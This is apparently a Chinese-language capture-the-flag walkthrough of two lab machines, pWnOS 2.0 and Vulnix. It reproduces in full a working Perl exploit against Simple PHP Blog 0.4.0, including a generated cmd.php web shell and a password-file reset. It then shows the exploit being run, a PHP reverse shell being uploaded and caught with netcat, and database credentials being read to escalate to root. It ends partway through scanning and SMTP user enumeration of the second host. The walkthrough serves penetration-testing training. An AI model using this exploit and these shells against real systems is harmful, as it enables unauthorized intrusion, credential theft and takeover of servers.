+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8673 requests: 0 error(s) and 26 item(s) reported on remote host
+ End Time: 2022-11-27 01:29:56 (GMT-5) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
這裡是另一個目錄爆破的工具gobuster,除了指定IP以外,還可搭配字典檔跟掃特定副檔名,整理出來比nikto清新。
┌──(kali㉿kali)-[/usr/share/wordlists/dirbuster]
└─$ gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,conf,cnf,js
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,txt,bak,js,old,zip,gz,conf,cnf
[+] Timeout: 10s
===============================================================
2022/11/27 02:23:16 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 854]
/index.php (Status: 200) [Size: 854]
/blog (Status: 301) [Size: 311] [--> http://10.10.10.100/blog/]
/login (Status: 200) [Size: 1174]
/login.php (Status: 200) [Size: 1174]
/register.php (Status: 200) [Size: 1562]
/register (Status: 200) [Size: 1562]
/info.php (Status: 200) [Size: 49885]
/info (Status: 200) [Size: 49873]
/includes (Status: 301) [Size: 315] [--> http://10.10.10.100/includes/]
/activate (Status: 302) [Size: 0] [--> http://10.10.10.100/index.php]
/activate.php (Status: 302) [Size: 0] [--> http://10.10.10.100/index.php]
/server-status (Status: 403) [Size: 293]
Progress: 2204026 / 2205610 (99.93%)===============================================================
2022/11/27 02:31:11 Finished
===============================================================
從上面結果,知道有一個名叫blog的目錄,輸入網址進去看。如果blog是用某個現成的CMS,可能會有相對應的攻擊腳本。
檢視原始碼紅圈處,可以看出簡稱是sphpblog。
┌──(kali㉿kali)-[~]
└─$ searchsploit sphpblog
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Simple PHP Blog (SPHPBlog) 0.5.1 - Code Ex | php/webapps/6311.php
Simple PHP Blog (sPHPblog) 0.5.1 - Multipl | php/webapps/4557.txt
SPHPBlog 0.4 - 'search.php' Cross-Site Scr | php/webapps/25423.txt
Sphpblog 0.8 - Multiple Cross-Site Scripti | php/webapps/29051.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
利用簡稱去找,結果不多,但是知道了全稱:Simple PHP Blog,用全稱再搜一次:
┌──(kali㉿kali)-[~/target-machine/pWnOSv2.0]
└─$ searchsploit Simple PHP Blog
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Insanely Simple Blog 0.4/0.5 - 'index.php' | php/webapps/30317.txt
Insanely Simple Blog 0.4/0.5 - Cross-Site | php/webapps/30318.txt
Insanely Simple Blog 0.5 - SQL Injection | php/webapps/5774.txt
Simple Blog PHP 2.0 - Multiple Vulnerabili | php/webapps/40518.txt
Simple Blog PHP 2.0 - SQL Injection | php/webapps/40519.txt
Simple PHP Blog (SPHPBlog) 0.5.1 - Code Ex | php/webapps/6311.php
Simple PHP Blog (sPHPblog) 0.5.1 - Multipl | php/webapps/4557.txt
Simple PHP Blog 0.4 - 'colors.php' Multipl | cgi/webapps/26463.txt
Simple PHP Blog 0.4 - 'preview_cgi.php' Mu | cgi/webapps/26461.txt
Simple PHP Blog 0.4 - 'preview_static_cgi. | cgi/webapps/26462.txt
Simple PHP Blog 0.4.0 - Multiple Remote s | php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Exe | php/webapps/16883.rb
Simple PHP Blog 0.4.7.1 - Remote Command E | php/webapps/1581.pl
Simple PHP Blog 0.5.1 - Local File Inclusi | php/webapps/10604.pl
Simple PHP Blog 0.5.x - 'search.php' Cross | php/webapps/33507.txt
Simple PHP Blog 0.8.4 - Cross-Site Request | php/webapps/40475.txt
SimpleBlog 2.0 - 'comments.asp' SQL Inject | php/webapps/2232.pl
SimpleBlog 3.0 - Database Disclosure | php/webapps/7232.txt
Super Simple Blog Script 2.5.4 - 'entry' S | php/webapps/9180.txt
Super Simple Blog Script 2.5.4 - Local Fil | php/webapps/9179.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
可是不知道版本,再仔細檢查原始碼,可以發現是屬於0.4.0
所以是1191跟16883這兩個可以用,不過第二個是rb檔,大概要配著metasploit用。先挑第一個用用看。
└─$ cat 1191.pl
#!/usr/bin/perl -w
#===============================================================================
# Title: sphpblog_vulns.pl
#
# Written by: Kenneth F. Belva, CISSP
# Franklin Technologies Unlimited, Inc.
# http://www.ftusecurity.com
#
# Date: August 25, 2005
#
# Version: 0.1
#
# Description: This program is for educational purposes only!
# SimplePHPBlog as a few vulnerability which this
# perl script demonstrates via an exploit.
#
# Instructions: Should be self-explanatory via the .pl help menu
#
# Solutions:
# *** Solution 1
# Change the line in comment_delete_cgi.php from
# $logged_in = logged_in( false, true ); to
# $logged_in = logged_in( true, true );
#
# *** Solution 2
# Place an .htaccess file with the following config in
# the ./config directory:
#
#
# #---------------------
# #Snip .htaccess start
# #---------------------
# IndexIgnore *
#
# <Files .htaccess>
# order allow,deny
# deny from all
# </Files>
#
# <Files *.txt>
# order allow,deny
# deny from all
# </Files>
# #---------------------
# #Snip .htaccess end
# #---------------------
#
#
# *** Solution 3
# See http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html
# for PHP modification to upload image script.
#===============================================================================
#-------------------------------------------------------------------------------
# Global Paramaters
#-------------------------------------------------------------------------------
use strict;
use warnings;
use vars qw/ %args /;
use Getopt::Std;
require LWP::UserAgent;
my $ua = LWP::UserAgent->new;
#-------------------------------------------------------------------------------
# Global Routines
#-------------------------------------------------------------------------------
#Determine Operating System
my $OperatingSystem = $^O;
my $unix = "";
#Set OS Parameter
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
#-------------------------------------------------------------------------------
# The Main Menu
#-------------------------------------------------------------------------------
sub menu()
{
if ($unix){system("clear");}
else{system("cls");}
print "
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Program : $0
Version : v0.1
Date : 8/25/2005
Descript: This perl script demonstrates a few flaws in
SimplePHPBlog.
Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO
NOT HAVE PERMISSION TO DO SO!
Please see this script comments for solution/fixes
to demonstrated vulnerabilities.
http://www.simplephpblog.com
Usage : $0 [-h host] [-e exploit]
-? : this menu
-h : host
-e : exploit
(1) : Upload cmd.php in [site]/images/
(2) : Retreive Password file (hash)
(3) : Set New User Name and Password
[NOTE - uppercase switches for exploits]
-U : user name
-P : password
(4) : Delete a System File
-F : Path and System File
Examples: $0 -h 127.0.0.1 -e 2
$0 -h 127.0.0.1 -e 3 -U l33t -P l33t
$0 -h 127.0.0.1 -e 4 -F ./index.php
$0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
$0 -h 127.0.0.1 -e 1
";
exit;
}
#-------------------------------------------------------------------------------
# Initial Routine
#-------------------------------------------------------------------------------
sub init()
{
use Switch;
# colon ':' after letter says that option takes variable
my $opt_string = 'e:U:P:h:F:?';
getopts( "$opt_string", \%args ) or menu();
#Load parameters
my $exploit = $args{e};
my $host = $args{h};
my $user = $args{U};
my $pass = $args{P};
my $file = $args{F};
# What shall we do today?
switch (%args) {
case "?" { menu();}
case "e" {
switch ($exploit) {
if ($unix){system("clear");}
else{system("cls");}
print "
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________";
# Upload cmd.php to /images
case "1" { print "\nRunning cmd.php Upload Exploit....\n\n";
&UploadCmdPHP($host);}
# Retrieve Username & Password hash
case "2" { print "\nRunning Username and Password Hash Retrieval Exploit....\n\n";
&RetrievePwd($host."/config/password.txt");}
# Replace Username and Password
case "3" { print "\nRunning Set New Username and Password Exploit....\n\n";
&SetUserPwd($host,$user,$pass);}
# Delete a System File
case "4" { print "\nRunning Delete System File Exploit....\n\n";
&DeleteFile($host . "/comment_delete_cgi.php?y=05&m=08&comment=",$file);}
} #end $exploit switch
print "\n\n\n*** Exploit Completed....\nHave a nice day! :)\n";
} #end "e" case
else { menu();}
} #end %args switch
} #end sub init
#-------------------------------------------------------------------------------
# Exploit #1: Upload File Via POST
#-------------------------------------------------------------------------------
sub UploadCmdPHP {
my($url) = @_;
use LWP;
use HTTP::Request::Common qw(POST);
my $ua = LWP::UserAgent->new;
$HTTP::Request::Common::DYNAMIC_FILE_UPLOAD++;
#Step 1: Retrieve hash
#-----------------------------------------------------------------------
my $hash = &RetrievePwd($url."/config/password.txt");
#Step 2: Delete Existing Password file (SetUserPwd)
#Step 3: Create a temporary user id and password (SetUserPwd)
#-----------------------------------------------------------------------
&SetUserPwd($url,"a","a");
#Step 4: Log into the app and get the PHPSession / my_id session variable
#-----------------------------------------------------------------------
my $SETcookie = &strip_session(&Login($url . "/login_cgi.php","a","a"));
#Step 5: Create and upload our scripts (cmd.php & reset.php)
#-----------------------------------------------------------------------
&CreateTempPHPs();
# Upload cmd.php
my $path = "./cmd.php";
my $file = "cmd.php";
my $req = POST($url."/upload_img_cgi.php",
Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
Content_Type => 'form-data',
Content => [userfile => [$path,$file],],
);
my $response = $ua->request($req);
print "\nCreated cmd.php on target host: " . $url;
#$response->is_success or die "Failed to POST '$url': ", $response->status_line;
#return $response->as_string;
# Upload reset.php
$path = "./reset.php";
$file = "reset.php";
$req = POST($url."/upload_img_cgi.php",
Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
Content_Type => 'form-data',
Content => [userfile => [$path,$file],],
);
$response = $ua->request($req);
print "\nCreated reset.php on target host: " . $url;
#$response->is_success or die "Failed to POST '$url': ", $response->status_line;
#return $response->as_string;
#Remove local PHP files
&RemoveTempPHPs();
#Step 6: Reset origional Passwpord
#-----------------------------------------------------------------------
&ResetHash($url."/images/reset.php",$hash);
#Step 7: Pass command to delete reset.php (clean up)
#-----------------------------------------------------------------------
&DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=","./images/reset.php");
print "\nRemoved reset.php from target host: " . $url;
print "\n\nTo run command please go to following link: \n\t" . $url."/images/cmd.php?cmd=[your command]";
}
#-------------------------------------------------------------------------------
# Exploit #2: Retrieve Password File
#-------------------------------------------------------------------------------
sub RetrievePwd {
my($url) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = GET($url);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
my $hash = $response->content;
print "\nRetrieved Username and Password Hash: " . $hash;
return $hash
}
#-------------------------------------------------------------------------------
# Exploit #3: Set New Username and Password
#-------------------------------------------------------------------------------
sub SetUserPwd{
my($url,$user,$pass) = @_;
&DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=", "./config/password.txt");
&ResetPwd($url . "/install03_cgi.php?blog_language=english",$user,$pass);
}
#-------------------------------------------------------------------------------
# POST to Reset Username and Password (must delete password file first)
#-------------------------------------------------------------------------------
sub ResetPwd {
my($url,$user,$pass) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ user => $user,
pass => $pass,
submit => '%C2%A0Submit%C2%A0'
]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\n./config/password.txt created!";
print "\nUsername is set to: ".$user;
print "\nPassword is set to: ".$pass;
}
#-------------------------------------------------------------------------------
# Exploit #4: Delete Password File
#-------------------------------------------------------------------------------
sub DeleteFile {
my($url,$file) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = GET($url.$file);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nDeleted File: ".$file;
}
#-------------------------------------------------------------------------------
# log into site
#-------------------------------------------------------------------------------
sub Login {
my($url,$user,$pass) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ user => $user,
pass => $pass,
submit => '%C2%A0Submit%C2%A0'
]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nLogged into SimplePHPBlog at: ".$url;
print "\nCurrent Username '".$user."' and Password '".$pass."'...";
return $response->header('Set-Cookie');
}
#-------------------------------------------------------------------------------
# POST the hash
#-------------------------------------------------------------------------------
sub ResetHash {
my($url,$hash) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ hash => $hash]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nReset Hash at: ".$url;
print "\nReset Hash value: ".$hash;
}
#------------------------------------------------------
# Create Temp PHP files
#------------------------------------------------------
sub CreateTempPHPs{
my($hash) = @_;
open(PHPFILE, ">./cmd.php");
print PHPFILE &CreateCmdPHP();
close PHPFILE;
print "\nCreated cmd.php on your local machine.";
open(PHPFILE, ">./reset.php");
print PHPFILE &CreateResetPHP();
close PHPFILE;
print "\nCreated reset.php on your local machine.";
}
#------------------------------------------------------
# Remove Temp PHP files
#------------------------------------------------------
sub RemoveTempPHPs{
unlink("./cmd.php");
print "\nRemoved cmd.php from your local machine.";
unlink("./reset.php");
print "\nRemoved reset.php from your local machine.";
}
#------------------------------------------------------
# strip_session - Get PHP Session Variable
#------------------------------------------------------
sub strip_session {
my($savedata) = @_;
my $PHPstring = "PHPSESSID";
my $semi = "\;";
my $datalength = length($savedata);
my $PHPstart= (index $savedata, $PHPstring)+10;
my $PHPend = index $savedata,$semi,$PHPstart;
my $PHPsession= substr $savedata, $PHPstart, ($PHPend-$PHPstart);
return $PHPsession;
}
sub CreateCmdPHP(){
return "
<?php
\$cmd = \$_GET[\'cmd\'];
echo \'<hr/><pre>\';
echo \'Command: \' . \$cmd;
echo '</pre><hr/><br>';
echo '<pre>';
\$last_line = system(\$cmd,\$output);
echo \'</pre><hr/>\';
?>.
"; # end
}
sub CreateResetPHP(){
return "
<?php
\$hash = \$_POST[\'hash\'];
\$fp = fopen(\"../config/password.txt\",\"w\");
fwrite(\$fp,\$hash);
fpclose(\$fp);
?>
"; #end return
}
#------------------------------------------------------
# Begin Routines
#------------------------------------------------------
init();
# milw0rm.com [2005-09-01]
上面落落長,但重點是這支攻擊腳本的使用說明:
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Program : $0
Version : v0.1
Date : 8/25/2005
Descript: This perl script demonstrates a few flaws in
SimplePHPBlog.
Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO
NOT HAVE PERMISSION TO DO SO!
Please see this script comments for solution/fixes
to demonstrated vulnerabilities.
http://www.simplephpblog.com
Usage : $0 [-h host] [-e exploit]
-? : this menu
-h : host
-e : exploit
(1) : Upload cmd.php in [site]/images/
(2) : Retreive Password file (hash)
(3) : Set New User Name and Password
[NOTE - uppercase switches for exploits]
-U : user name
-P : password
(4) : Delete a System File
-F : Path and System File
Examples: $0 -h 127.0.0.1 -e 2
$0 -h 127.0.0.1 -e 3 -U l33t -P l33t
$0 -h 127.0.0.1 -e 4 -F ./index.php
$0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
$0 -h 127.0.0.1 -e 1
先使用第三個,創建新帳號看看。這裡創建帳密都是admin的帳號:
┌──(kali㉿kali)-[~]
└─$ perl 1191.pl -h http://10.10.10.100/blog -e 3 -U admin -P admin
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....
Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: admin
Password is set to: admin
*** Exploit Completed....
Have a nice day! :)
┌──(kali㉿kali)-[~]
└─$
到登入頁面試試:
登入成功:
有一個可以上傳圖片的,試試看能不能上傳reverse shell:
但上傳前要先編輯一下:
┌──(kali㉿kali)-[~]
└─$ sudo vim /usr/share/webshells/php/php-reverse-shell.php
[sudo] password for kali:
紅圈處IP改成攻擊機IP,下一行port是1234,要記一下:
上傳頁面
到目錄(怎麼知道這目錄的?),的確可以看到剛剛上傳的檔案:
先在攻擊機監聽1234 port,再去點剛剛上傳的檔案,即可get shell:
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.10.101] from (UNKNOWN) [10.10.10.100] 59016
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
14:27:57 up 1:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/$
翻找可提權的資訊,比如資料庫帳密,sudo -l
之類可以用root權限編輯什麼重要檔案之類。
ToDo: 常見sql設定檔在哪?
www-data@web:/$ ls
ls
bin dev home lib lost+found mnt proc sbin srv tmp var
boot etc initrd.img lib64 media opt root selinux sys usr vmlinuz
www-data@web:/$ pwd
pwd
/
www-data@web:/$ cd /var
cd /var
www-data@web:/var$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
www-data@web:/var$ cd www
cd www
www-data@web:/var/www$ ls
ls
activate.php includes info.php mysqli_connect.php
blog index.php login.php register.php
www-data@web:/var/www$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
上面/var/www
資料夾裡的mysqli_connect裡面的帳密是錯誤的,/var
資料夾裡的mysqli_connect裡面的帳密才是正確的:
www-data@web:/var/www$ cd ..
cd ..
www-data@web:/var$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
www-data@web:/var$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
利用root帳密登入:
www-data@web:/var$ cd
cd
bash: cd: HOME not set
www-data@web:/var$ su -
su -
Password: root@ISIntS
root@web:~# ls
ls
root@web:~# ls -al
ls -al
total 32
drwx------ 4 root root 4096 2011-05-09 19:25 .
drwxr-xr-x 21 root root 4096 2011-05-07 13:37 ..
drwx------ 2 root root 4096 2011-05-07 15:12 .aptitude
-rw-r--r-- 1 root root 107 2011-05-09 19:29 .bash_history
-rw-r--r-- 1 root root 3106 2010-10-21 08:47 .bashrc
drwx------ 2 root root 4096 2011-05-07 17:18 .cache
-rw-r--r-- 1 root root 0 2011-05-09 19:24 .mysql_history
-rw-r--r-- 1 root root 140 2010-10-21 08:47 .profile
-rw------- 1 root root 837 2011-05-09 19:16 .viminfo
root@web:~# whoami
whoami
root
找尋靶機IP
└─$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-19 09:55 CST
Nmap scan report for 192.168.44.129
Host is up (0.00088s latency).
Nmap scan report for 192.168.44.230
Host is up (0.0013s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 75.43 seconds
偵查靶機開的port
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.44.230
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-19 09:58 CST
Nmap scan report for 192.168.44.230
Host is up (0.00073s latency).
Not shown: 65518 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after: 2022-08-31T17:40:12
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
|_pop3-capabilities: STLS CAPA SASL UIDL TOP RESP-CODES PIPELINING
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 39367/tcp6 mountd
| 100005 1,2,3 50406/tcp mountd
| 100005 1,2,3 52541/udp mountd
| 100005 1,2,3 52651/udp6 mountd
| 100021 1,3,4 41141/tcp nlockmgr
| 100021 1,3,4 45141/udp6 nlockmgr
| 100021 1,3,4 50156/udp nlockmgr
| 100021 1,3,4 53587/tcp6 nlockmgr
| 100024 1 46920/tcp status
| 100024 1 51756/tcp6 status
| 100024 1 52813/udp status
| 100024 1 53709/udp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS more have ID LITERAL+ listed capabilities Pre-login IDLE post-login SASL-IR LOGINDISABLEDA0001 OK STARTTLS IMAP4rev1 ENABLE
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
|_imap-capabilities: LOGIN-REFERRALS more ID have Pre-login listed SASL-IR IDLE post-login AUTH=PLAINA0001 capabilities OK ENABLE IMAP4rev1 LITERAL+
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
995/tcp open ssl/pop3s?
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_pop3-capabilities: CAPA SASL(PLAIN) TOP UIDL USER RESP-CODES PIPELINING
2049/tcp open nfs_acl 2-3 (RPC #100227)
40909/tcp open mountd 1-3 (RPC #100005)
41141/tcp open nlockmgr 1-4 (RPC #100021)
42577/tcp open mountd 1-3 (RPC #100005)
46920/tcp open status 1 (RPC #100024)
50406/tcp open mountd 1-3 (RPC #100005)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/19%OT=22%CT=1%CU=35710%PV=Y%DS=2%DC=T%G=Y%TM=637839
OS:14%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5=M5B4ST
OS:11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=6979%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
Network Distance: 2 hops
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 0.20 ms DESKTOP-NRNV04H.mshome.net (172.23.32.1)
2 0.81 ms 192.168.44.230
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.88 seconds
Segmentation fault
這一次沒有80 port,不過有開25 port,SMTP(Simple Mail Transfer Protocol)。可以透過枚舉工具來情蒐,得到帳號:
不過枚舉工具smtp-user-enum
好像沒有預先安裝,所以先安裝一下:
└─$ pip install smtp-user-enum
Defaulting to user installation because normal site-packages is not writeable
Collecting smtp-user-enum
Downloading smtp_user_enum-0.5.0-py2.py3-none-any.whl (12 kB)
Collecting argparse
Downloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse, smtp-user-enum
Successfully installed argparse-1.4.0 smtp-user-enum-0.5.0
-U後面要接字典檔:
└─$ smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/namelist.txt -t 192.168.44.230
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/namelist.txt
Target count ............. 1
Username count ........... 1909
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Sat Nov 19 10:46:18 2022 #########
192.168.44.230: backup exists
192.168.44.230: games exists
192.168.44.230: irc exists
